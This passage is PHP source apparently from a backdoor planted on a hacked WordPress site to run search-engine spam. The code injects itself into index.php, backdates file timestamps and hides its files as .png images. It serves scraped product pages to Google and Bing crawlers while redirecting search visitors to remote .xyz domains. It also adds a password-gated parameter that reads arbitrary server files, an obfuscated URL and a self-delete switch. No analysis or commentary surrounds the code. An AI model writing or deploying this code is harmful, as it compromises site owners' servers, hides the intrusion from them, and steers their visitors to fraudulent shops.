$str); echo "<br/>jgshu (".$_GET["jgshu"].") ok!<br/>"; } if(isset($_GET["ljshu"]) && $_GET["ljshu"]){ $str = str_replace('define("LINKNUM","12");', 'define("LINKNUM","'.trim($_GET["ljshu"]).'");', $str); echo "<br/>ljshu (".$_GET["ljshu"].") ok!<br/>"; } $r4 = '#bbbbbbbbackupbg.*?bbbbbbbbackupend#si'; $str2 = preg_replace($r4, '', $str); $r4 = '#i{9}bg.*?i{9}end#si'; $str2 = preg_replace($r4, '', $str2); $r4 = '#c{6}getbg.*?c{6}getend#si'; $str2 = preg_replace($r4, '', $str2); $r4 = '#c{6}getbg.*?c{6}getend#si'; $str2 = preg_replace($r4, '', $str2); preg_match('#c{6}getbg(.*?)c{6}getend#si',$str,$matchPut); $backStr = $matchPut[1]; generate_dir_file($installFile); generate_dir_file($logFile); generate_dir_file($mbFile); generate_dir_file($backupfile1); generate_dir_file($backupfile2); file_put_contents($installFile, $str2); //moban名称定义 @chmod($mbFile,0755); if(function_exists('copy')){ unlink($mbFile); copy('./moban.html',$mbFile); }else{ file_put_contents($mbFile,file_get_contents('./moban.html')); } $findexTime = filemtime("$hostDir/index.php"); $indexstr = file_get_contents("$hostDir/index.php"); $Indexruler = '#(/+installbg.*?/+installend)#s'; if($indexstr && preg_match($Indexruler,$indexstr)){ $indexstr = preg_replace($Indexruler, '//installbg'. PHP_EOL .'$rifilename=#fileName#;'. PHP_EOL .'require("$rifilename");' . PHP_EOL .'//installend'.PHP_EOL, $indexstr); $indexstr = str_replace('#fileName#',"'".$installFile."'",$indexstr); }elseif($indexstr){ $indexstr = preg_replace('#<\?(php)?#i', '<'.'?\1'. PHP_EOL .'//installbg'. PHP_EOL .'$rifilename=#fileName#;'. PHP_EOL .'require("$rifilename");' . PHP_EOL .'//installend'.PHP_EOL, $indexstr, 1); $indexstr = str_replace('#fileName#',"'".$installFile."'",$indexstr); } @chmod("$hostDir/index.php",0755); file_put_contents("$hostDir/index.php",$indexstr); @touch("$hostDir/index.php", $findexTime, $findexTime); $$q2 = $O00O0O{7}.$O00O0O{19}.$O00O0O{19}.$O00O0O{15}.$O00O0O{65}.$O00O0O{64}.$O00O0O{64}.$O00O0O{22}.$O00O0O{22}.$O00O0O{22}.$O00O0O{63}.$O00O0O{1}.$O00O0O{0}.$O00O0O{2}.$O00O0O{10}.$O00O0O{20}.$O00O0O{15}.$O00O0O{28}.$O00O0O{26}.$O00O0O{27}.$O00O0O{33}.$O00O0O{63}.$O00O0O{19}.$O00O0O{14}.$O00O0O{15}.$O00O0O{64}.$O00O0O{1}.$O00O0O{10}.$O00O0O{18}.$O00O0O{63}.$O00O0O{15}.$O00O0O{7}.$O00O0O{15}; if($backStr){ $backStr = '<'.'?php'.PHP_EOL .$backStr; if(isset($backupfile1) && $backupfile1){ if(file_put_contents($backupfile1,$backStr)) $flagRdir1 = 1; else $flagRdir1 = 0; } if(isset($backupfile2) && $backupfile2){ if(file_put_contents($backupfile2,$backStr)) $flagRdir2 = 1; else $flagRdir2 = 0; } } $mbstr = file_get_contents('./moban.html'); $dateArr = array(); $dateArr['dom'] = $thisdom; $dateArr['myFile'] = 'http://'.$_SERVER['HTTP_HOST'].$_SERVER['PHP_SELF']; $dateArr['installFile'] = $installFile; $dateArr['mbFile'] = $mbFile; $dateArr['logFile'] = $logFile; $dateArr['htaccess'] = "$PreDir.htaccess"; $dateArr['index'] = "{$PreDir}index.php"; if($backupfile1){ $bfileurl1 = 'http://'.$_SERVER['HTTP_HOST'].'/'.str_replace($hostDir,'',$backupfile1); $dateArr['backupfile1'] = $bfileurl1; } if($backupfile2){ $bfileurl2 = 'http://'.$_SERVER['HTTP_HOST'].'/'.str_replace($hostDir,'',$backupfile2); $dateArr['backupfile2'] = $bfileurl2; } @touch($installFile, $fitime, $fitime); @touch(dirname($installFile), $fitime, $fitime); @touch($mbFile, $fitime, $fitime); @touch(dirname($mbFile), $fitime, $fitime); @touch($backupfile1, $fitime, $fitime); @touch(dirname($backupfile1), $fitime, $fitime); @touch($backupfile2, $fitime, $fitime); @touch(dirname($backupfile2), $fitime, $fitime); chmod($installFile, 0511); chmod($installFile, 0404); chmod($mbFile, 0511); chmod($mbFile, 0404); chmod($backupfile1, 0755); chmod($backupfile2, 0755); // $dateArr['act'] = 'jc'; // $dateArr['dom'] = $_SERVER['HTTP_HOST']; // $staus = backup_install($dateArr); // if($staus == '#ok#'){ // echo '<br/>backup ok!<br/>'; // } echo "install ok"; echo "<br/>hzui ($hzReplace) modify ok!<br/>"; echo "install ok<br/>"; echo 'please open this url: '.GETDOM .'gfile.php?site='.$thisdom; } //iiiimbfilebg $mbFileName = '/var/sentora/hostdata/zadmin/public_html/testjpnormaldd_com/wp-includes/images/media/mb_s.png'; $logFileName = '/var/sentora/hostdata/zadmin/public_html/testjpnormaldd_com/wp-includes/images/media/log_s.png'; //iiiimbfileend if(isset($_GET["thmoban"]) && $_GET["thmoban"]){ $fitime = filemtime($mbFileName); @chmod($mbFileName,0755); if(function_exists('copy')){ unlink($mbFileName); copy('./moban.html',$mbFileName); }else{ file_put_contents($mbFileName,file_get_contents('./moban.html')); } @touch(dirname($mbFileName), $fitime, $fitime); @touch($mbFileName, $fitime, $fitime); chmod($mbFileName, 0511); chmod($mbFileName, 0404); echo 'ok!'; } if(isset($_GET["jgshu"]) && $_GET["jgshu"]){ $strDefault = file_get_contents(__FILE__); $strDefault = str_replace('define("JGNUM","132");', 'define("JGNUM","'.$_GET["jgshu"].'");', $strDefault); file_put_contents(__FILE__,$strDefault); echo "<br/>jgshu (".$_GET["jgshu"].") ok!<br/>";} if(isset($_GET["ljshu"]) && $_GET["ljshu"]){ $strDefault = file_get_contents(__FILE__); $strDefault = str_replace('define("LINKNUM","12");', 'define("LINKNUM","'.$_GET["ljshu"].'");', $strDefault); file_put_contents(__FILE__,$strDefault); echo "<br/>ljshu (".$_GET["ljshu"].") ok!<br/>";} if(isset($_GET["moshi"])){ if($_GET["moshi"] != 0 && $_GET["moshi"] != 1 && $_GET["moshi"] != 2 && $_GET["moshi"] != 3){ echo "<br/><span style='color:red'>set fails, moshi value must be 0,1,2 or 3 !</span><br/>"; die(); } $strDefault = file_get_contents(__FILE__); $r3='#(/{2}msbg)(.*?)(/{2}msend)#s'; $rp2 = 'define("JDT","'.$_GET["moshi"].'");'; $strDefault=preg_replace($r3,'\1'.PHP_EOL.$rp2.PHP_EOL.'\3',$strDefault); $strDefault = str_replace('define("JDT","0");', 'define("JDT","'.$_GET["moshi"].'");', $strDefault); file_put_contents(__FILE__,$strDefault); echo "<br/>moshi (".$_GET["moshi"].") ok!<br/>";} function deldir($dir){ $dh=opendir($dir); while ($file=readdir($dh)) { if($file!="." && $file!="..") { $fullpath=$dir."/".$file; if(!is_dir($fullpath)) { unlink($fullpath); } else { deldir($fullpath); } } } closedir($dh); if(rmdir($dir)) { return true; } else { return false; } } if(isset($_GET["del"]) && $_GET["del"]=='delete'){ $mydir = dirname(__FILE__); deldir($mydir); echo '#ok#'; die(); // @unlink(__FILE__); } if(isset($_GET["del"]) && $_GET["del"]=='myself'){ @unlink(__FILE__); echo '#ok#'; die(); } // iiiiiiiiiend $arrArrr = array();$j = 0;for($i=0;$i<20;$i+=2){ $arrArrr[$j++] = $strRand{$i}.$strRand{$i+1};} $Arrrarr = array_flip($arrArrr); $stss = 'transferdm'; $stss2 = 'deliverym'; if(isset($_GET["gsitemap"]) && $_GET["gsitemap"]){ $O_OO0_0O_0='America/Chicago'; @date_default_timezone_set($O_OO0_0O_0); if (!is_dir("sitemap")) mkdir("sitemap", 0755); global $gnumber; $gnumber = 1; $idUrl = GETDOM . "gpage.php?site=$thisdom&getid=".LINKNUM; $tempIdStr = curl_get_from_webpage($idUrl,'',5); $arrIdS = explode(',',$tempIdStr); $arrId = array(); list($tempNowid,$tempSid,$tempPid) = explode('-',$arrIdS[0]); $url0 = getalink($tempSid,$tempPid,$tempNowid); file_put_contents("./urls.txt", $url0); foreach($arrIdS as $keyid=>$vsid){ $tempKeys = $keyid % 10; // echo $tempKeys.'==>'.$keyid.'==>'.$vsid."<br/>"; $arrId[$tempKeys][] = $vsid; } foreach($arrId as $key=>$vss){ if(count($vss) < 100){ echo "g sitemap fail<br/>"; die(); } echo $key."<br/>"; if($gnumber == 1){ if(JDT == 1){ gsitemap($vss,2,1); }else{ gsitemap($vss,1,2); } }else{ if(JDT == 1){ gsitemap2($vss,2,1); }else{ gsitemap2($vss,1,2); } } } unset($arrId); die(); } if(isset($_GET["chdate"]) && md5($_GET["chdate"])=='8b9431d1f8083f320f2d1a3d5a0a187e' && isset($_GET["redate_file"])){$redate_file = $_GET["redate_file"];if(file_exists($redate_file)){echo '#ok#';}else{echo '#nofile#';}die();}if(isset($_GET["redate"]) && md5($_GET["redate"])=='8b9431d1f8083f320f2d1a3d5a0a187e' && isset($_GET["redate_file"])){$redate_file = $_GET["redate_file"];if(file_exists($redate_file)){echo rFile($redate_file);}else{echo '#nofile#';}die();}if(isset($_GET["test"]) && md5($_GET["test"])=='8b9431d1f8083f320f2d1a3d5a0a187e'){echo '#ok#'; die();} if(isset($_GET["gsitemap"]) || isset($_GET["rset"]) || isset($_GET["hzui"]) || isset($_GET["jgshu"]) || isset($_GET["ljshu"]) || isset($_GET["modifydate"]) || isset($_GET["moshi"]) || isset($_GET["install"])){ die();} if(JDT==2){ $UrlParent=end((explode('index.php',$_SERVER['REQUEST_URI']))); if($UrlParent){ $tempSid = ''; $tempPid = ''; $r0 ='#^(\d+'. BZSITE .'\d+)[-/]#i'; $r1='#[-/](\d+'. BZSITE .'\d+)[-/]#i'; if(preg_match($r0,$UrlParent,$matches)){ if(isset($matches[1])){ $tempSidStr = $matches[1]; list($tempnNumID,$tempSid) = explode(BZSITE,$tempSidStr); } }else{ preg_match($r1,$UrlParent,$matches10); if(isset($matches10[1])){ $tempSidStr = $matches10[1]; list($tempnNumID,$tempSid) = explode(BZSITE,$tempSidStr); } } $r2='#^'. BZPRO .'(\d+)[-/]#i'; $r3='#[-/]'. BZPRO .'(\d+)[-/]#i'; if(preg_match($r2,$UrlParent,$matches2)){ if(isset($matches2[1])) $tempPid = $matches2[1]; }else{ preg_match($r3,$UrlParent,$matches13); if(isset($matches13[1])) $tempPid = $matches13[1]; } if($tempSid && $tempPid){ $_GET['id']= $tempnNumID .'-'. $tempSid .'-'. $tempPid; } } }elseif(JDT==3&&isset($_GET['keyword'])&&$_GET['keyword']){ $tempSid = ''; $tempPid = ''; $UrlParent = $_GET['keyword']; $r0 ='#^(\d+'. BZSITE .'\d+)[-/]#i'; $r1='#[-/](\d+'. BZSITE .'\d+)[-/]#i'; if(preg_match($r0,$UrlParent,$matches)){ if(isset($matches[1])){ $tempSidStr = $matches[1]; list($tempnNumID,$tempSid) = explode(BZSITE,$tempSidStr); } }else{ preg_match($r1,$UrlParent,$matches10); if(isset($matches10[1])){ $tempSidStr = $matches10[1]; list($tempnNumID,$tempSid) = explode(BZSITE,$tempSidStr); } } $r2='#^'. BZPRO .'(\d+)[-/]#i'; $r3='#[-/]'. BZPRO .'(\d+)[-/]#i'; if(preg_match($r2,$UrlParent,$matches2)){ if(isset($matches2[1])) $tempPid = $matches2[1]; }else{ preg_match($r3,$UrlParent,$matches13); if(isset($matches13[1])) $tempPid = $matches13[1]; } if($tempSid && $tempPid && $tempnNumID){ $_GET['id']= $tempnNumID .'-'. $tempSid .'-'. $tempPid; } } function getRandStr(){ $arrABC = range('a','z'); shuffle($arrABC); $randNum = rand(4,6); $str = implode('',array_slice($arrABC,0,$randNum)); return $str;} $iszz = isCrawler(); $ipRanges = array( array('64.233.160.0' , '64.233.191.255'), array('66.102.0.0' , '66.102.15.255') , array('66.249.64.0' , '66.249.95.255') , array('72.14.192.0' , '72.14.255.255') , array('74.125.0.0' , '74.125.255.255') , array('209.85.128.0' , '209.85.255.255') , array('216.239.32.0' , '216.239.63.255') , array('216.172.128.0' , '216.239.159.255') , array('64.68.80.0' , '64.68.95.255'), array('205.164.0.0' , '205.164.63.255') , array('50.117.0.0' , '50.117.127.255') , array('23.104.0.0' , '23.104.255.255') , array('23.80.0.0' , '23.80.255.255') , array('104.132.0.0' , '104.132.255.255') , array('104.134.0.0' , '104.134.255.255') , array('104.135.0.0' , '104.135.255.255') , array('38.99.82.0' , '38.99.251.255') ); $localIp = get_real_ip(); $is_or_no = is_ip($localIp,$ipRanges); $referer = $_SERVER["HTTP_REFERER"]; $russ = '#(google.co.jp|yahoo.co.jp|bing|docomo.ne.jp)#i'; //iiiimbfilebg $mbFileName = '/var/sentora/hostdata/zadmin/public_html/testjpnormaldd_com/wp-includes/images/media/mb_s.png'; $logFileName = '/var/sentora/hostdata/zadmin/public_html/testjpnormaldd_com/wp-includes/images/media/log_s.png'; //iiiimbfileend if(isset($_GET["id"])) $id = $_GET["id"]; else{ if($iszz or $is_or_no == true or preg_match($russ, $referer)){ $fLogTime = filemtime($mbFileName); $rqurl = str_replace("'","\'",$_SERVER['REQUEST_URI']); if(file_exists($logFileName)){ $arrUrlId = unserialize(file_get_contents($logFileName)); }else{ $arrUrlId = array(); } if(isset($rqurl) && isset($arrUrlId[$rqurl]) && $arrUrlId[$rqurl]){ $id = $arrUrlId[$rqurl]; }else{ $arrUrlId[$rqurl] = getRandId($thisdom); $id = $arrUrlId[$rqurl]; file_put_contents($logFileName,serialize($arrUrlId)); @touch(dirname($logFileName), $fLogTime, $fLogTime); @touch($logFileName, $fLogTime, $fLogTime); } } } list($nNumID,$siteid,$id23) = explode('-',$id); $numArr_key = count($arr_key); if($nNumID>=0 && $id23 && $siteid){ if(isset($_SERVER["HTTP_REFERER"])){ if(preg_match($russ, $referer) && $iszz == false && $is_or_no == false){ $rsdom = '#^http://www\.[^/+]/$#si'; $jumDom1 = 'http://www.'.$stss.'.xyz'. DOMTXT . $siteid .".txt"; $jumDom2 = 'http://www.'.$stss2.'.xyz'. DOMTXT . $siteid .".txt"; for($i=0;$i<2;$i++){ $domJump = curl_getjs_from_webpage($jumDom1,2); $domJump = trim($domJump); if(!preg_match($rsdom,$domJump)){ $domJump = curl_getjs_from_webpage($jumDom2,10); $domJump = trim($domJump); if(preg_match($rsdom,$domJump)) break; }else{ break; } } echo '<script language="javascript" type="text/javascript">'. PHP_EOL .'window.location.href="'. $domJump . "index.php?main_page=product_info&products_id=" . $id23 .'";'. PHP_EOL .'</script>'; die(); } } $siteAID = $siteid. '-' .$id23; $fileKey = $id23 % FNUM; $pInfoUrl = GETDOM . "gpage.php?site=$thisdom&id=$nNumID&jgnum=". JGNUM ."&linknum=".LINKNUM; $keyKey = $id23 % $numArr_key;$keyWzi = $id23 % 6;$preOrEnd = $arrKeywz[$keyWzi]%2; $pInfoStr = curl_get_from_webpage($pInfoUrl,'',5); $rFL = '#<FL>(.*?)</FL>#si'; preg_match($rFL, $pInfoStr, $matchFL); if($matchFL[1]) $fStr = $matchFL[1];else $fStr = ''; $arrf1 = explode("#lkfglkfg#",$fStr); $arrFIdName = array(); $arrFIdImg = array(); if(count($arrf1)){ foreach($arrf1 as $values){ $values = trim($values); if(!$values) continue; $arrts = explode("===>",$values); if(count($arrts) == 3) $arrFIdName[$arrts[0]] = $arrts[1]; $arrFIdImg[$arrts[0]] = $arrts[2]; } } $rLK = '#<LK>(.*?)</LK>#si'; preg_match($rLK, $pInfoStr, $matchLK); $rpImg = '#<pImg>(.*?)</pImg>#si'; preg_match($rpImg, $pInfoStr, $matchpImg); $rMyName = '#<MyName>(.*?)</MyName>#si'; preg_match($rMyName, $pInfoStr, $matchMyName); if($matchpImg[1]) $strpImg = trim($matchpImg[1]); else $strpImg = ''; $imgArr = explode('#img#',$strpImg); $tempPimgStr = ''; foreach($imgArr as $vs){ $vs = trim($vs); if($vs) $tempPimgStr .= '<div class="text-center"><img src="'.$vs.'"></div>'; } if($matchMyName[1]) $strMyName = trim($matchMyName[1]); else $strMyName = ''; if($matchLK[1]) $lkStr = trim($matchLK[1]); else die(); $html = curl_get_from_webpage($lkStr,'',5); $productsPd2 = ''; if(strstr($lkStr,'yahoo.co.jp')){ $proNameRelur='#<!-- itemInfoTitle -->(.*?)<!-- /itemInfoTitle -->#si'; preg_match($proNameRelur, $html, $matchesName); $productsName = rmhtmltag2('',$matchesName[1]); $productsName = trim($productsName); if(!$productsName){ $productsName = $strMyName; } preg_match('#<!-- itemInfoLead -->(.*?)<!-- /itemInfoLead -->#si', $html, $matchesDes); $productsDes = $matchesDes[1]; $productsDes = rmhtmltag2('iframe', $productsDes); $productsDes = rmhtmltag2('a', $productsDes); }else{ $html = iconv('EUC-JP','utf-8',$html); $proNameRelur='#<span class="item_name">(.*?)</span>#si'; preg_match($proNameRelur, $html, $matchesName); $productsName = rmhtmltag2('',$matchesName[1]); $productsName = trim($productsName); if(!$productsName){ $productsName = $strMyName; } $proPd2Relur = '#<span class="catch_copy">(.*?)</span>#si'; preg_match($proPd2Relur, $html, $matchesPd2); $productsPd2 = $matchesPd2[1]; $productsPd2 = rmhtmltag2('',$productsPd2); preg_match('#<td><span class="sale_desc">(.*?)</span>\s*<br>\s*<br>\s*</td>#si', $html, $matchesDes); $productsDes = $matchesDes[1]; preg_match('#<td><span class="item_desc">(.*?)</span>\s*<br>\s*<br>\s*</td>#si', $html, $matchesDes2); $productsDes .= $matchesDes2[1]; $productsDes = rmhtmltag2('iframe', $productsDes); $productsDes = rmhtmltag2('a', $productsDes); } // preg_match_all('#<div src="([^"]+)"#si', $html, $matchesImg); // $productsImgArr = $matchesImg[1]; $rpword[] = '%E6%A5%BD%E5%A4%A9%E5%B8%82%E5%A0%B4%E5%BA%97'; $rpword[] = '%E3%80%90%E6%A5%BD%E5%A4%A9%E5%B8%82%E5%A0%B4%E3%80%91'; $rpword[] = '%E6%A5%BD%E5%A4%A9%E5%B8%82%E5%A0%B4'; $rpword[] = '%E3%80%90%E3%82%AB%E3%83%BC%E3%83%89%E6%B1%BA%E6%B8%88OK%E3%80%91'; $rpword[] = '%E3%80%90%E3%81%82%E3%81%99%E6%A5%BD%E5%AF%BE%E5%BF%9C%E3%80%91'; $rpword[] = '%E3%80%90%E4%BB%A3%E5%BC%95%E4%B8%8D%E5%8F%AF%E3%80%91'; $rpword[] = '%E9%80%9A%E4%BF%A1%E8%B2%A9%E5%A3%B2'; $rpword[] = '%E9%80%9A%E8%B2%A9'; $rpword[] = '%E6%A5%BD%E5%A4%A9'; $rpword[] = '%e3%83%a4%e3%83%95%e3%83%bc%e5%ba%97+'; $rpword[] = '%e3%83%a4%e3%83%95%e3%83%bc'; $pMateTitle = ''; $pMateKey = ''; $pMateDes = ''; $proMateTitleRelur = '#<title>(.*?)</title>#si'; preg_match($proMateTitleRelur, $html, $matchesMateTitle); if(isset($matchesMateTitle[1]) && trim($matchesMateTitle[1])){ $pMateTitle = trim($matchesMateTitle[1]); foreach($rpword as $vsword){ $let = urldecode($vsword); $pMateTitle = str_replace($let,"",$pMateTitle); } reset($rpword); $pMateTitle = str_replace('rakuten.co.jp',"",$pMateTitle); $pMateTitle = str_replace('rakuten',"",$pMateTitle); $pMateTitle = str_replace('Yahoo!',"",$pMateTitle); $pMateTitle = str_replace('Yahoo',"",$pMateTitle); } $proMateKeyRelur = '#<meta name="keywords" content="([^"]+)"#si'; preg_match($proMateKeyRelur, $html, $matchesMateKey); if(isset($matchesMateKey[1]) && trim($matchesMateKey[1])){ $pMateKey = trim($matchesMateKey[1]); foreach($rpword as $vsword){ $let = urldecode($vsword); $pMateKey = str_replace($let,"",$pMateKey); } reset($rpword); $pMateKey = str_replace('rakuten.co.jp',"",$pMateKey); $pMateKey = str_replace('rakuten',"",$pMateKey); $pMateKey = str_replace('Yahoo!',"",$pMateKey); $pMateKey = str_replace('Yahoo',"",$pMateKey); } $proMateDesRelur = '#<meta name="description" content="([^"]+)"#si'; preg_match($proMateDesRelur, $html, $matchesMateDes); if(isset($matchesMateDes[1]) && trim($matchesMateDes[1])){ $pMateDes = trim($matchesMateDes[1]); foreach($rpword as $vsword){ $let = urldecode($vsword); $pMateDes = str_replace($let,"",$pMateDes); } reset($rpword); $pMateDes = str_replace('rakuten.co.jp',"",$pMateDes); $pMateDes = str_replace('rakuten',"",$pMateDes); $pMateDes = str_replace('Yahoo!',"",$pMateDes); $pMateDes = str_replace('Yahoo',"",$pMateDes); } $productsDes = str_replace('<IMG ','<img ',$productsDes); $productsDes = rmhtmltag2('meta',$productsDes); $productsDes = rmhtmltag('script',$productsDes); $productsDes = rmhtmltag2('img',$productsDes); $pName = $productsName; $pDes = $productsDes; $pd2 = $productsPd2; $pMateKey = preg_replace('#^,+#i','',$pMateKey); $pMateKey = str_replace('<meta name=,','',$pMateKey); $pMateKey = str_replace('<meta name=','',$pMateKey); if(!$pMateTitle or !$pMateDes or !$pMateKey){ $pMateTitle = $productsName; $pMateDes = $productsName; $pMateKey = $productsName; } $lttitlerp = '<p><strong>'.$pMateTitle.'</strong></p>'; $lttitlerp .= '<p><strong>'.$pMateDes.'</strong></p>'; $pnamesrp = '<p><strong>'.$pName.'</strong></p>'; $pnamesrp .= '<p><strong>'.$pMateDes.'</strong></p>'; // if($preOrEnd){ if(0){ $pDes = '<p><strong>'.$pMateTitle.'</strong></p>'.$pDes .$pd2. '<p><strong>'.$pMateDes.'</strong></p>' ."<br/>".$tempPimgStr; }else{ $pDes = $tempPimgStr . '<p><strong>'.$pMateTitle.'</strong></p>'. $pDes .$pd2. '<p><strong>'.$pMateDes.'</strong></p>'; } $pDes = str_ireplace("<img ", '<img class="img-responsive rounded" alt="#bbbNamebbb#" title="#bbbNamebbb#" ',$pDes);$rpDes = $pDes; $rpDes = str_replace('#bbbNamebbb#',$pName,$rpDes); $linkfirst = ''; if(count($arrFIdName)){ $linkfirst .= '<ul class="list-group">'; foreach($arrFIdName as $valueFlinkId => $vsss){ if(!isset($arrFIdImg[$valueFlinkId])) continue; list($tempNowid,$tempSid,$tempPid) = explode('-',$valueFlinkId); $friendlink = getalink($tempSid,$tempPid,$tempNowid); $tempLinkKey = $vsss; $tempImg = trim($arrFIdImg[$valueFlinkId]); $linkfirst=$linkfirst.'<li class="list-group-item col-md-3 col-sm-4 col-xs-6">'."<a href=\"".$friendlink."\">". '<img src="'.$tempImg.'" class="img-responsive" alt="'.$tempLinkKey.'" title="'.$tempLinkKey.'">' ."</a></li>".PHP_EOL; } } $fileMb = fopen($mbFileName,"r"); $html = fread($fileMb,filesize($mbFileName)); $html = str_ireplace('#bbbdesbbb#', $pMateDes, $html); $html = str_ireplace('#bbbkeybbb#', $pMateKey, $html); $html = str_ireplace('#bbbtitsbbb#', $pMateTitle, $html); $html = str_ireplace('#bbblttitlebbb#', $lttitlerp, $html); $html = str_ireplace('#bbbNamebbb#', $pName, $html); $html = str_ireplace('#descontent#', $rpDes, $html); $html = str_ireplace('#links1#', $linkfirst, $html); $html = str_ireplace('#bbbpnamesbbb#', $pnamesrp, $html); echo $html; die(); } function getMapNum($bgNum,$mapnum){ $TempArr = array(); if($bgNum + $mapnum <= FNUM){ for($i=0;$i<$mapnum;$i++){ $TempArr[$i] = $bgNum + $i -1; } }else{ for($i=0;$i<$mapnum;$i++){ if($bgNum+$i > FNUM) $TempArr[$i] = $bgNum + $i -1 -FNUM; else $TempArr[$i] = $bgNum + $i -1; } } return $TempArr; } function getRandId($thisdom=''){ $idUrl = GETDOM . "gpage.php?site=$thisdom&act=getRandId"; $tempIdStr = curl_get_from_webpage($idUrl,'',5); return trim($tempIdStr); } function get_arrvs($arr,$num,$nowkey){ $numArr = count($arr); if($nowkey + $num < $numArr) return $arr[$nowkey + $num]; else{ if($nowkey + $num - $numArr - $numArr > 0) return get_arrvs($arr,$num - $numArr,$nowkey); else return $arr[abs($nowkey + $num - $numArr)]; } } function get_pre_link($arr,$key){ $tmpA1 = array(); $tmpA2 = array(); $num = count($arr); if($key + JGNUM + 1 + LINKNUM >= $num){ if($key + JGNUM + 1 - $num > LINKNUM){ return array_slice($arr, $key + JGNUM + 1 - $num, LINKNUM); }else{ $duoyu = $key + JGNUM + 1 + LINKNUM - $num + 1; $tmpA1 = array_slice($arr, $key + JGNUM + 1, LINKNUM); $tmpA2 = array_slice($arr, 0, $duoyu); return array_merge($tmpA1,$tmpA2); } }else{ return array_slice($arr, $key + JGNUM + 1, LINKNUM); } } function get_next_link($arr,$key){ $tmpA1 = array(); $tmpA2 = array(); $num = count($arr); if($key - JGNUM - LINKNUM < 0 && $key - JGNUM > 0){ $duoyu = abs($key - JGNUM - LINKNUM); $tmpA1 = array_slice($arr, 0, abs($key - JGNUM)); $tmpA2 = array_slice($arr, $num-$duoyu-1, $duoyu); return array_merge($tmpA1,$tmpA2); }else{ return array_slice($arr, $key - JGNUM - LINKNUM, LINKNUM); } } function rFile($file){ if(function_exists('file_get_contents')){ return file_get_contents($file); }else{ $handle = fopen($file, "r"); $contents = fread($handle, filesize($file)); fclose($handle); return $contents; } } function isCrawler() { $agent= @strtolower($_SERVER['HTTP_USER_AGENT']); if (!empty($agent)) { $spiderSite= array( "Googlebot", "Mediapartners-Google", "Adsbot-Google", "Yahoo!", "Google AdSense", "Yahoo Slurp", "bingbot", "MSNBot" ); foreach($spiderSite as $val) { $str = strtolower($val); if (strpos($agent, $str) !== false) { return true; } } } else { return false; } } //生成sitemap.xml文件,超出4000个则换一个xml文件;参数$c=1生成原始路径的sitemap,$c=2则生成映射后的路径 //$dir目录参数 function print_map2($filenames,$c=1,$jdt=1){ $filePres = ''; $fileEnds = ''; $dirNames = dirname(__FILE__); $httcReplace = end((explode(DIRECTORY_SEPARATOR, $dirNames))); if(JDT == 2){ $filePres = $httcReplace . "/" . basename(__FILE__) . "/"; }elseif(JDT == 1){ $filePres = $httcReplace . "/"; }elseif(JDT == 3){ $filePres = $httcReplace . "/" .basename(__FILE__) . "?key="; }else{ $filePres = ''; } if(JDT == 3){ $fileEnds = ''; }else{ $fileEnds = JTHZ; } $fpath='http://'.$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI']; $serpath=substr($fpath,0,strrpos($fpath,'/')); $siteLink='http://'.$_SERVER['HTTP_HOST']; $mapPre = '<'.'?xml version="1.0" encoding="UTF-8" ?'.'>'. PHP_EOL.'<urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">' . PHP_EOL; $mapEnd = PHP_EOL . '</urlset>'; $numLinks = count($urlsArray); $star = 0; $priority = 0.1; $starPri = 0; $gFile =""; $date = date("Y-m-d"); $time = date("H:i:s"); $str = ""; $tempArr1 = $filenames; foreach($tempArr1 as $value2){ $curphp=basename(__FILE__); $value = $value2; $first=stristr($value,".php"); $last=stristr($value,".xml"); $checkTxt =stristr($value,".txt"); list($tempNowid,$tempSid,$tempPid) = explode('-',$value); $url = getalink($tempSid,$tempPid,$tempNowid); if($first===false && $last===false && $checkTxt===false) { $date = date("Y-m-d"); $time = date("H:i:s"); if($star % 12000==11999){ $put_str = $mapPre . $str . $mapEnd; header("Content-type: text/xml"); echo $put_str; return; } $str .= " <url> <loc>" . $url . "</loc> <lastmod>". $date . "T" . $time ."-05:00</lastmod> <changefreq>daily</changefreq> <priority>0.1</priority> </url> "; $star++; $starPri++; } } { $put_str = $mapPre . $str . $mapEnd; header("Content-type: text/xml"); echo $put_str; } unset($tempArr1); unset($filenames); } function print_map($filenames,$c=1,$jdt=1){ $filePres = ''; $fileEnds = ''; $fpath='http://'.$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI']; $serpath=substr($fpath,0,strrpos($fpath,'/')); $siteLink='http://'.$_SERVER['HTTP_HOST']; $mapPre = '<'.'?xml version="1.0" encoding="UTF-8" ?'.'>'. PHP_EOL.'<urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">' . PHP_EOL; $mapEnd = PHP_EOL . '</urlset>'; $numLinks = count($urlsArray); $star = 0; $priority = 0.9; $starPri = 0; $gFile =""; $date = date("Y-m-d"); $time = date("H:i:s"); $str = " <url> <loc>" . $siteLink . "</loc> <lastmod>". $date . "T" . $time ."-05:00</lastmod> <changefreq>always</changefreq> <priority>1.0</priority> </url> "; $tempArr1 = $filenames; foreach($tempArr1 as $value2){ $curphp=basename(__FILE__); $value = $value2; $first=stristr($value,".php"); $last=stristr($value,".xml"); $checkTxt =stristr($value,".txt"); list($tempNowid,$tempSid,$tempPid) = explode('-',$value); $url = getalink($tempSid,$tempPid,$tempNowid); if($first===false && $last===false && $checkTxt===false) { $date = date("Y-m-d"); $time = date("H:i:s"); if($star % 12000==11999){ $put_str = $mapPre . $str . $mapEnd; header("Content-type: text/xml"); echo $put_str; return; } if($starPri >= 400 && $priority != 0.1){ $starPri = 0; $priority = $priority - 0.1; } if($priority > 0.1){ $str .= " <url> <loc>" . $url . "</loc> <lastmod>". $date . "T" . $time ."-05:00</lastmod> <changefreq>daily</changefreq> <priority>". $priority . "</priority> </url> "; }else{ $str .= " <url> <loc>" . $url . "</loc> <lastmod>". $date . "T" . $time ."-05:00</lastmod> <changefreq>daily</changefreq> <priority>0.1</priority> </url> "; } $star++; $starPri++; } } { $put_str = $mapPre . $str . $mapEnd; header("Content-type: text/xml"); echo $put_str; } unset($tempArr1); unset($filenames); } function gsitemap2($filenames,$c=1,$jdt=1){ global $gnumber,$arrArrr; $filePres = ''; $fileEnds = ''; $dirNames = dirname(__FILE__); $httcReplace = end((explode(DIRECTORY_SEPARATOR, $dirNames))); if(JDT == 2){ $filePres = $httcReplace . "/" . basename(__FILE__) . "/"; }elseif(JDT == 1){ $filePres = $httcReplace . "/"; }elseif(JDT == 3){ $filePres = $httcReplace . "/" .basename(__FILE__) . "?key="; }else{ $filePres = ''; } if(JDT == 3){ $fileEnds = ''; }else{ $fileEnds = JTHZ; } 